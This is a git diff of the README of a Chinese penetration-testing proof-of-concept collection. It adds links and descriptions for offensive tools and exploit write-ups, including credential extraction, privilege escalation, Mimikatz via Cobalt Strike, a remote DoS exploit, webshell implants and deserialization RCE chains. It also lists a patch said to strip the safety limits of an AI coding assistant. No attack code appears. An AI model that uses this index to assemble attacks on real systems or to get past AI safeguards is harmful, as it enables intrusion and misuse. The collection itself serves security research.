扫描与利用工具,支持AWS/Azure/GCP云凭据提取、批量扫描及交互式利用Shell](https://github.com/ynsmroztas/nextssrf) - [qq-tim-elevation: 腾讯 QQ/TIM本地提权漏洞](https://github.com/vi3t1/qq-tim-elevation) - [VolatilityPro: 一款用于自动化处理内存取证的Python脚本,并提供GUI界面](https://github.com/Tokeii0/VolatilityPro) - [NimExec: 在Nim中执行横向移动的无文件命令](https://github.com/frkngksl/NimExec) @@ -2296,6 +2459,21 @@ - [ehr_SafeCodeEncode_tamper:宏景ehr sql注入的tamper脚本](https://github.com/jdr2021/ehr_SafeCodeEncode_tamper) - [Struts2VulsScanTools:Struts2全版本漏洞检测工具 19.21](https://github.com/abc123info/Struts2VulsScanTools) - [CVE-2025-14847 - MongoDB 未经身份验证的内存泄漏漏洞检测工具](https://github.com/joe-desimone/mongobleed) +- [trajan:CI/CD流水线安全漏洞扫描工具,支持GitHub Actions、GitLab CI、Azure DevOps、Jenkins和JFrog,用于检测软件供应链攻击](https://github.com/praetorian-inc/trajan) +- [clawgod: Claude Code的"上帝模式"补丁工具,解锁隐藏功能、移除安全限制(含渗透测试/C2/漏洞利用限制),一键安装,无需编译](https://github.com/0Chencc/clawgod) +- [kslkatz_bof:通过 Cobalt Strike BOF 实现 Mimikatz 功能](https://github.com/Muz1K1zuM/kslkatz_bof) +- [HTTP-2-Bomb-Nginx:Nginx HTTP/2 拒绝服务漏洞远程利用工具 (Remote DoS Exploit)](https://github.com/Mr-xn/HTTP-2-Bomb-Nginx) | [相关文献](https://github.com/califio/publications/tree/main/MADBugs/http2-bomb) | [相关文章](https://cybersecuritynews.com/http-2-bomb-remote-dos-exploit/) +- [reverse-skill](https://github.com/zhaoxuya520/reverse-skill):一个面向逆向工程、渗透测试和安全研究的技能路由包,支持 AI 编码助手自动选择合适的工作流和工具链,涵盖 APK、二进制、JS、CTF 等场景。 +- [freellmapi](https://github.com/tashfeenahmed/freellmapi):一个免费 LLM API 聚合服务,提供兼容 OpenAI 的统一接口,可无缝调用多个免费大模型,非常适合个人项目、教学和快速原型开发。 +- [jadx-ai-mcp](https://github.com/zinja-coder/jadx-ai-mcp):为 Jadx 提供 MCP 扩展,使 AI 工具能够直接调用本地 Jadx 进行 APK/DEX 反编译、搜索与分析,是构建 AI 驱动逆向工作流的关键组件。 +- [NebulaPulsar](https://github.com/iss4cf0ng/NebulaPulsar):一个 Java/C# WebShell 漏洞利用与植入工具,作为 Alien 项目的概念验证(PoC),适用于安全研究与漏洞利用实验。 +- [Sherlock](https://github.com/sherlock-project/sherlock) 是一款知名的 OSINT(开源情报)工具,可根据用户名在 400 多个社交平台和网站中快速检索关联账号,广泛应用于网络安全、数字取证和数字身份分析等场景。 【1-6cddc9】【2-d3117e】 +- [Aliens Eye](https://github.com/arxhr007/Aliens_eye) 是一款基于 AI 的 OSINT 用户名扫描工具,支持在 840 多个平台中搜索关联账号,并结合机器学习与启发式检测技术提升识别准确率,适用于网络安全研究和在线身份画像分析。 【3-0542c5】【4-66d668】 +- [Upload_Auto_Fuzz](https://github.com/fewftybet/Upload_Auto_Fuzz) 是一个用于自动化测试 Web 上传接口安全性的脚本工具,主要用于发现文件上传功能中的漏洞,例如任意文件上传、后缀绕过、MIME 绕过、黑名单绕过等。它属于渗透测试辅助工具,用来对目标站点的上传点进行批量 fuzz。 +- [dsh-pentest](https://github.com/howmp/dsh-pentest) 一个用于在dsh里执行常规简单的渗透测试插件,方便渗透测试/安全运营人员对数字资产快速的进行安全检查 +- [dsh-reverse-skill](https://github.com/dhicoc/dsh-reverse-skill) 把上游 `reverse-skill` 的 86 个 skill 原样封装成 dsh Cordis 插件,适用于逆向工程、渗透测试和安全研究等场景,安装后可直接按需加载。 + + ## 文章/书籍/教程相关 @@ -2315,7 +2493,7 @@ - [特权提升技术总结之Windows文件服务内核篇(主要是在webshell命令行执行各种命令搜集信息)](https://xz.aliyun.com/t/7261)|[(项目留存PDF版本)](./books/特权提升技术总结之Windows文件服务内核篇%20-%20先知社区.pdf) - [WellCMS 2.0 Beta3 后台任意文件上传](./books/WellCMS%202.0%20Beta3%20后台任意文件上传.pdf) - [国外详细的CTF分析总结文章(2014-2017年)](https://github.com/ctfs) -- [这是一篇“不一样”的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码](./books/这是一篇"不一样"的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码-%20奇安信A-TEAM技术博客.pdf)|[原文地址](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/) +- [这是一篇“不一样”的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码](./books/这是一篇)|[原文地址](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/) - [表达式注入.pdf](./books/表达式注入.pdf) - [WordPress ThemeREX Addons 插件安全漏洞深度分析](./books/WordPress%20ThemeREX%20Addons%20插件安全漏洞深度分析.pdf) - [通达OA文件包含&文件上传漏洞分析](./books/通达OA文件包含&文件上传漏洞分析.pdf) @@ -2354,7 +2532,7 @@ - [windows权限提升的多种方式](https://medium.com/bugbountywriteup/privilege-escalation-in-windows-380bee3a2842)|[Privilege_Escalation_in_Windows_for_OSCP](./books/Privilege_Escalation_in_Windows_for_OSCP.pdf) - [bypass CSP](https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)|[Content-Security-Policy(CSP)Bypass_Techniques](./books/Content-Security-Policy(CSP)Bypass_Techniques.pdf) - [个人维护的安全知识框架,内容偏向于web](https://github.com/No-Github/1earn) -- [PAM劫持SSH密码](./PAM劫持SSH密码.md) +- [PAM劫持SSH密码](./privesc/PAM劫持SSH密码.md) - [零组资料文库-(需要邀请注册)](https://wiki.0-sec.org/) - [redis未授权个人总结-Mature](./books/redis未授权个人总结-Mature.pdf) - [NTLM中继攻击的新方法](https://www.secureauth.com/blog/what-old-new-again-relay-attack) @@ -2369,7 +2547,7 @@ - [文件上传突破waf总结](./books/文件上传突破waf总结.pdf) - [极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞](./books/极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf)|[原文地址](https://xz.aliyun.com/t/7872) - [代码审计之DTCMS_V5.0后台漏洞两枚](./books/代码审计之DTCMS_V5.0后台漏洞两枚.pdf) -- [快速判断sql注入点是否支持load_file](./快速判断sql注入点是否支持load_file.md) +- [快速判断sql注入点是否支持load_file](./web/快速判断sql注入点是否支持load_file.md) - [文件上传内容检测绕过](./books/文件上传内容检测绕过.md) - [Fastjson_=1.2.47反序列化远程代码执行漏洞复现](./books/Fastjson_=1.2.47反序列化远程代码执行漏洞复现.pdf) - [【Android脱壳】_腾讯加固动态脱壳(上篇)](./books/移动安全(九)_TengXun加固动态脱壳(上篇).pdf) @@ -2893,7 +3071,7 @@ - [记一次绕过阿里云waf与某不知名waf的双waf上传getshell](./books/记一次绕过阿里云waf与某不知名waf的双waf上传getshell.html) - [针对Green VPN及加密文件的逆向实战分析](./books/针对Green%20VPN及加密文件的逆向实战分析.html) - [瑞星企业终端防病毒系统简单分析](./books/瑞星企业终端防病毒系统简单分析.html) -- [从Todesk多个漏洞浅谈远程连接程序溯源反制 ](./books/从Todesk多个漏洞浅谈远程连接程序溯源反制%20.html) +- [从Todesk多个漏洞浅谈远程连接程序溯源反制](./books/从Todesk多个漏洞浅谈远程连接程序溯源反制%20.html) - [如何快速复现挖掘一个漏洞?CodeAuditAssistant高阶技巧](./books/如何快速复现挖掘一个漏洞?CodeAuditAssistant高阶技巧.pdf) - [未授权服务加固与泛解析字符绕过](./books/未授权服务加固与泛解析字符绕过.html) - [飞塔防火墙漏洞深度利用及调试环境搭建](./books/飞塔防火墙漏洞深度利用及调试环境搭建.html) @@ -2944,8 +3122,36 @@ - [上ORM也没用!手注击穿ORM到后台](./books/上ORM也没用!手注击穿ORM到后台.html) - [Tomcat解析XML引入的新颖webshell构造方式](./books/Tomcat解析XML引入的新颖webshell构造方式.html) - [【补天白帽黑客城市沙龙-西安站】c3p0新链探索—深入挖掘数据库连接池的安全隐患](./books/【补天白帽黑客城市沙龙-西安站】c3p0新链探索—深入挖掘数据库连接池的安全隐患.html) - - +- [终极代码审计全维度清单](https://gist.github.com/Mr-xn/2af3b138cb07ca7dd3754afc3b615953) +- [FastJson2 Hash 碰撞 RCE 分析与复现](./books/FastJson2%20Hash%20碰撞%20RCE%20分析与复现.md) | [备份HTML版本](./books/FastJson2%20Hash%20碰撞%20RCE%20分析与复现.html)| [Fastjson2 泛型擦除下的 autoType 绕过](./books/Fastjson2%20泛型擦除下的%20autoType%20绕过.md) | [手撕 FastJson 1.2.83 RCE 原理](./books/手撕%20FastJson%201.2.83%20RCE%20原理.md) | [从 checkAutoType 到 defineClass:fastjson 1.2.83 @JSONType 注解探测链的完整逆向与利用](./books/从%20checkAutoType%20到%20defineClass:fastjson%201.2.83%20@JSONType%20注解探测链的完整逆向与利用.md) +- [CVE-2026-41844 Spring Framework 开放重定向漏洞浅析](./books/CVE-2026-41844%20Spring%20Framework%20开放重定向漏洞浅析.md) +- [CNVD-2026-28535漏洞挖掘分享](./books/CNVD-2026-28535%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E5%88%86%E4%BA%AB.md) +- [不猜参数,让目标自己告诉你:基于错误反馈的API参数自动发现](./books/%E4%B8%8D%E7%8C%9C%E5%8F%82%E6%95%B0%EF%BC%8C%E8%AE%A9%E7%9B%AE%E6%A0%87%E8%87%AA%E5%B7%B1%E5%91%8A%E8%AF%89%E4%BD%A0%EF%BC%9A%E5%9F%BA%E4%BA%8E%E9%94%99%E8%AF%AF%E5%8F%8D%E9%A6%88%E7%9A%84API%E5%8F%82%E6%95%B0%E8%87%AA%E5%8A%A8%E5%8F%91%E7%8E%B0.md) +- [从Webpack到攻击链:SPA应用自动化攻击面发现实践](./books/%E4%BB%8EWebpack%E5%88%B0%E6%94%BB%E5%87%BB%E9%93%BE%EF%BC%9ASPA%E5%BA%94%E7%94%A8%E8%87%AA%E5%8A%A8%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E5%8F%91%E7%8E%B0%E5%AE%9E%E8%B7%B5.md) +- [Ruoyi SSTI 与 Thymeleaf bypass深探](./books/Ruoyi%20SSTI%20%E4%B8%8E%20Thymeleaf%20bypass%E6%B7%B1%E6%8E%A2.md) +- [MariaDB 远程代码执行漏洞分析复现](./books/MariaDB%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0.md) +- [RASP 研究,OpenRasp 原理与绕过](./books/RASP%20%E7%A0%94%E7%A9%B6%EF%BC%8COpenRasp%20%E5%8E%9F%E7%90%86%E4%B8%8E%E7%BB%95%E8%BF%87.md) +- [Kubernetes 集群未授权访问漏洞分析与容器逃逸横向移动](./books/Kubernetes%20%E9%9B%86%E7%BE%A4%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8.md) +- [JDWP 远程调试协议在容器环境中的暴露面与利用链构造](./books/JDWP%20%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E5%8D%8F%E8%AE%AE%E5%9C%A8%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E4%B8%AD%E7%9A%84%E6%9A%B4%E9%9C%B2%E9%9D%A2%E4%B8%8E%E5%88%A9%E7%94%A8%E9%93%BE%E6%9E%84%E9%80%A0.md) +- [Java-Puzzle-安全审计源码验证报告](./books/Java-Puzzle-%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1%E6%BA%90%E7%A0%81%E9%AA%8C%E8%AF%81%E6%8A%A5%E5%91%8A.md) +- [新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险](./books/%E6%96%B0%E7%93%B6%E6%97%A7%E9%85%92%EF%BC%9A%E4%BB%8E%E6%B3%A8%E5%86%8C%E5%88%B0%E7%AE%A1%E7%90%86%E5%91%98%E7%9A%84%20NocoDB%206%20%E4%B8%AA%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9.md) +- [某医疗平台审计与0Day挖掘(方软医疗软件平台)](./books/%E6%9F%90%E5%8C%BB%E7%96%97%E5%B9%B3%E5%8F%B0%E5%AE%A1%E8%AE%A1%E4%B8%8E0Day%E6%8C%96%E6%8E%98%28%E6%96%B9%E8%BD%AF%E5%8C%BB%E7%96%97%E8%BD%AF%E4%BB%B6%E5%B9%B3%E5%8F%B0%29.md) +- [某盾am平台代码审计(宝盾一体化安全认证平台)](./books/%E6%9F%90%E7%9B%BEam%E5%B9%B3%E5%8F%B0%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%28%E5%AE%9D%E7%9B%BE%E4%B8%80%E4%BD%93%E5%8C%96%E5%AE%89%E5%85%A8%E8%AE%A4%E8%AF%81%E5%B9%B3%E5%8F%B0%29.md) +- [微信小程序加密通信协议逆向分析实录——SM2_SM3_SM4 国密算法套件破解](./books/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%8A%A0%E5%AF%86%E9%80%9A%E4%BF%A1%E5%8D%8F%E8%AE%AE%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E5%BD%95%E2%80%94%E2%80%94SM2_SM3_SM4%20%E5%9B%BD%E5%AF%86%E7%AE%97%E6%B3%95%E5%A5%97%E4%BB%B6%E7%A0%B4%E8%A7%A3.md) +- [Fastjson1全版本漏洞利用总结](./books/Fastjson1%E5%85%A8%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93.md) | [FastJson1.2.83漏洞利用坑点](./books/FastJson1.2.83%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%9D%91%E7%82%B9.md) | [Fastjson 1.2.83 file 协议不出网利用分析](./books/Fastjson%201.2.83%20file%20%E5%8D%8F%E8%AE%AE%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90.md) +- [Java反序列化系列·基础篇] [Hessian 协议详解](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20Hessian%20%E5%8D%8F%E8%AE%AE%E8%AF%A6%E8%A7%A3.md) | [Java Agent 详解](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20Java%20Agent%20%E8%AF%A6%E8%A7%A3.md) | [Java 动态代理](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20Java%20%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86.md) | [Java 序列化与反序列化](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20Java%20%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md) | [Java 的类加载与反射](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20Java%20%E7%9A%84%E7%B1%BB%E5%8A%A0%E8%BD%BD%E4%B8%8E%E5%8F%8D%E5%B0%84.md) | [Javassist 使用指南](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20Javassist%20%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97.md) | [RMI 协议详解](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20RMI%20%E5%8D%8F%E8%AE%AE%E8%AF%A6%E8%A7%A3.md) | [Tomcat 架构](./books/%E5%9F%BA%E7%A1%80%E7%AF%87%20-%20Tomcat%20%E6%9E%B6%E6%9E%84.md) +- [Java反序列化系列·漏洞篇] [CC1链之ysoserial版](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20CC1%20%E9%93%BE%E4%B9%8B%20ysoserial%20%E7%89%88.md) | [Java反序列化之CC1链](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Java%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%20CC1%20%E9%93%BE.md) | [Java反序列化之CC3链](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Java%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%20CC3%20%E9%93%BE.md) | [Java反序列化之CC4+CC2+CC5+CC7链](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Java%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%20CC4%2BCC2%2BCC5%2BCC7%20%E9%93%BE.md) | [Java反序列化之Rome链](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Java%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%20Rome%20%E9%93%BE.md) | [Fastjson反序列化](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Fastjson%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md) | [Fastjson 1.2.68-1.2.80利用](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Fastjson%201.2.68%20-%201.2.80%20%E5%88%A9%E7%94%A8.md) | [Hessian反序列化详解](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Hessian%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3.md) | [Hessian Aspectj二次反序列化新链](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Hessian%20Aspectj%20%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%96%B0%E9%93%BE.md) | [JNDI注入详解](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20JNDI%20%E6%B3%A8%E5%85%A5%E8%AF%A6%E8%A7%A3.md) | [RMI相关的攻击](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20RMI%20%E7%9B%B8%E5%85%B3%E7%9A%84%E6%94%BB%E5%87%BB.md) | [Rome链之HotSwappableTargetSource利用链](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Rome%20%E9%93%BE%E4%B9%8B%20HotSwappableTargetSource%20%E5%88%A9%E7%94%A8%E9%93%BE.md) | [SnakeYaml反序列化](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20SnakeYaml%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md) | [JavaAgent内存马](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20JavaAgent%20%E5%86%85%E5%AD%98%E9%A9%AC.md) | [Spring内存马](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Spring%20%E5%86%85%E5%AD%98%E9%A9%AC.md) | [Tomcat内存马](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Tomcat%20%E5%86%85%E5%AD%98%E9%A9%AC.md) | [URLDNS利用链分析](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20URLDNS%20%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90.md) | [ysoserial的JRMP模块分析](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20ysoserial%20%E7%9A%84%20JRMP%20%E6%A8%A1%E5%9D%97%E5%88%86%E6%9E%90.md) | [ysoserial的JRMP模块分析(补充版)](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20ysoserial%20%E7%9A%84%20JRMP%20%E6%A8%A1%E5%9D%97%E5%88%86%E6%9E%90%20(1).md) | [关于JEP 290](./books/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20%E5%85%B3%E4%BA%8E%20JEP%20290.md) +- [Java反序列化系列·配置篇] [IDEA查看带sun包的JDK源码](./books/%E9%85%8D%E7%BD%AE%E7%AF%87%20-%20IDEA%20%E6%9F%A5%E7%9C%8B%E5%B8%A6%20sun%20%E5%8C%85%E7%9A%84%20JDK%20%E6%BA%90%E7%A0%81.md) | [Maven手动下载与导入依赖](./books/%E9%85%8D%E7%BD%AE%E7%AF%87%20-%20Maven%20%E6%89%8B%E5%8A%A8%E4%B8%8B%E8%BD%BD%E4%B8%8E%E5%AF%BC%E5%85%A5%E4%BE%9D%E8%B5%96.md) +- [AI 渗透初探:从零开始的实战赋能记录](./books/AI%20%E6%B8%97%E9%80%8F%E5%88%9D%E6%8E%A2%EF%BC%9A%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84%E5%AE%9E%E6%88%98%E8%B5%8B%E8%83%BD%E8%AE%B0%E5%BD%95.md) +- [Android移动安全系列] [Android移动安全第一章_组件导出安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E4%B8%80%E7%AB%A0_%E7%BB%84%E4%BB%B6%E5%AF%BC%E5%87%BA%E5%AE%89%E5%85%A8.md) | [Android移动安全第二章_Intent安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E4%BA%8C%E7%AB%A0_Intent%E5%AE%89%E5%85%A8.md) | [Android移动安全第三章_Binder服务安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E4%B8%89%E7%AB%A0_Binder%E6%9C%8D%E5%8A%A1%E5%AE%89%E5%85%A8.md) | [Android移动安全第四章_ContentProvider安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%9B%9B%E7%AB%A0_ContentProvider%E5%AE%89%E5%85%A8.md) | [Android移动安全第五章_WebView安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E4%BA%94%E7%AB%A0_WebView%E5%AE%89%E5%85%A8.md) | [Android移动安全第六章_UI欺骗与钓鱼](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%85%AD%E7%AB%A0_UI%E6%AC%BA%E9%AA%97%E4%B8%8E%E9%92%93%E9%B1%BC.md) | [Android移动安全第七章_DeepLink安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E4%B8%83%E7%AB%A0_DeepLink%E5%AE%89%E5%85%A8.md) | [Android移动安全第八章_广播安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%85%AB%E7%AB%A0_%E5%B9%BF%E6%92%AD%E5%AE%89%E5%85%A8.md) | [Android移动安全第九章_PendingIntent安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E4%B9%9D%E7%AB%A0_PendingIntent%E5%AE%89%E5%85%A8.md) | [Android移动安全第十章_系统设置安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%8D%81%E7%AB%A0_%E7%B3%BB%E7%BB%9F%E8%AE%BE%E7%BD%AE%E5%AE%89%E5%85%A8.md) | [Android移动安全第十一章_SSRF与网络安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%8D%81%E4%B8%80%E7%AB%A0_SSRF%E4%B8%8E%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8.md) | [Android移动安全第十二章_加密与数据存储安全](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%8D%81%E4%BA%8C%E7%AB%A0_%E5%8A%A0%E5%AF%86%E4%B8%8E%E6%95%B0%E6%8D%AE%E5%AD%98%E5%82%A8%E5%AE%89%E5%85%A8.md) | [Android移动安全第十三章_认证与证书校验](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%8D%81%E4%B8%89%E7%AB%A0_%E8%AE%A4%E8%AF%81%E4%B8%8E%E8%AF%81%E4%B9%A6%E6%A0%A1%E9%AA%8C.md) | [Android移动安全第十四章_ZipSlip路径遍历](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%8D%81%E5%9B%9B%E7%AB%A0_ZipSlip%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86.md) | [Android移动安全第十五章_FragmentInjection](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%8D%81%E4%BA%94%E7%AB%A0_FragmentInjection.md) | [Android移动安全第十六章_SELinux与沙箱机制](./books/Android%E7%A7%BB%E5%8A%A8%E5%AE%89%E5%85%A8%E7%AC%AC%E5%8D%81%E5%85%AD%E7%AB%A0_SELinux%E4%B8%8E%E6%B2%99%E7%AE%B1%E6%9C%BA%E5%88%B6.md) +- [CVE-2026-41843 Spring Framework路径遍历漏洞浅析](./books/CVE-2026-41843%20Spring%20Framework%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90.md) +- [CVE-2026-22731 Spring Boot Actuator 身份认证绕过漏洞浅析](./books/CVE-2026-22731%20Spring%20Boot%20Actuator%20%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%8E%AF%E8%B7%AF%E7%95%8C%E6%B4%9E%E6%B5%85%E6%9E%90.md) +- [RAGFlow 三洞审计:补丁追着漏洞跑,有个版本掉队了](./books/RAGFlow%20%E4%B8%89%E6%B4%9E%E5%AE%A1%E8%AE%A1%EF%BC%9A%E8%A1%A5%E4%B8%81%E8%BF%BD%E7%9D%80%E6%BC%8F%E6%B4%9E%E8%B7%91%EF%BC%8C%E6%9C%89%E4%B8%AA%E7%89%88%E6%9C%AC%E6%8E%89%E9%98%9F%E4%BA%86.md) +- [Windows11 0day内核提权漏洞分析与利用(CVE-2026-62737)](./books/Windows11%200day%E5%86%85%E6%A0%B8%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8%EF%BC%88CVE-2026-62737%EF%BC%89.md) +- [Containerd 容器逃逸系列:2026 年容器运行时的_检查点_危机](./books/Containerd%20%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E7%B3%BB%E5%88%97%EF%BC%9A2026%20%E5%B9%B4%E5%AE%B9%E5%99%A8%E8%BF%90%E8%A1%8C%E6%97%B6%E7%9A%84_%E6%A3%80%E6%9F%A5%E7%82%B9_%E5%8D%B1%E6%9C%BA.md) +- [一文看懂Hessian反序列化漏洞](./books/%E4%B8%80%E6%96%87%E7%9C%8B%E6%87%82Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md) +- [记一次 HIS 系统垂直越权挖掘:从弱口令登录到垂直越权导致全量信息泄露](./books/%E8%AE%B0%E4%B8%80%E6%AC%A1%20HIS%20%E7%B3%BB%E7%BB%9F%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83%E6%8C%96%E6%8E%98%EF%BC%9A%E4%BB%8E%E5%BC%B1%E5%8F%A3%E4%BB%A4%E7%99%BB%E5%BD%95%E5%88%B0%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83%E5%AF%BC%E8%87%B4%E5%85%A8%E9%87%8F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%80.md) +- [WebSocket 实战:基于协议特点的漏洞挖掘](./books/WebSocket%20%E5%AE%9E%E6%88%98%EF%BC%9A%E5%9F%BA%E4%BA%8E%E5%8D%8F%E8%AE%AE%E7%89%B9%E7%82%B9%E7%9A%84%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98.md) ## 说明 @@ -2967,8 +3173,8 @@ ## Stargazers over time -[![Stargazers over time](https://starchart.cc/Mr-xn/Penetration_Testing_POC.svg)](https://starchart.cc/Mr-xn/Penetration_Testing_POC) +![Stargazers over time](https://starchart.cc/Mr-xn/Penetration_Testing_POC) ### 最后,选一个屁股吧! -![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg) \ No newline at end of file +![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg) diff --git "a/books/AI \346\270\227\351\200\217\345\210\235\346\216\242\357\274\232\344\273\216\351\233\266\345\274\200\345\247\213\347\232\204\345\256\236\346\210\230\350\265\213\350\203\275\350\256\260\345\275\225.md" "b/books/AI \346\270\227\351\200\217\345\210\235\346\216\242\357\274\232\344\273\216\351\233\266\345\274\200\345\247\213\347\232\204\345\256\236\346\210\230\350\265\213\350\203\275\350\256\260\345\275\225.md" new file mode 100644 index 000000000..427c0186c --- /dev/null +++ "b/books/AI \346\270\227\351\200\217\345\210\235\346\216\242\357\274\232\344\273\216\351\233\266\345\274\200\345\247\213\347\232\204\345\256\236\346\210\230\350\265\213\350\203\275\350\256\260\345\275\225.md" @@ -0,0 +1,314 @@ +# AI 渗透初探:从零开始的实战赋能记录 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4944 + +## 我的AI测试方法论 + 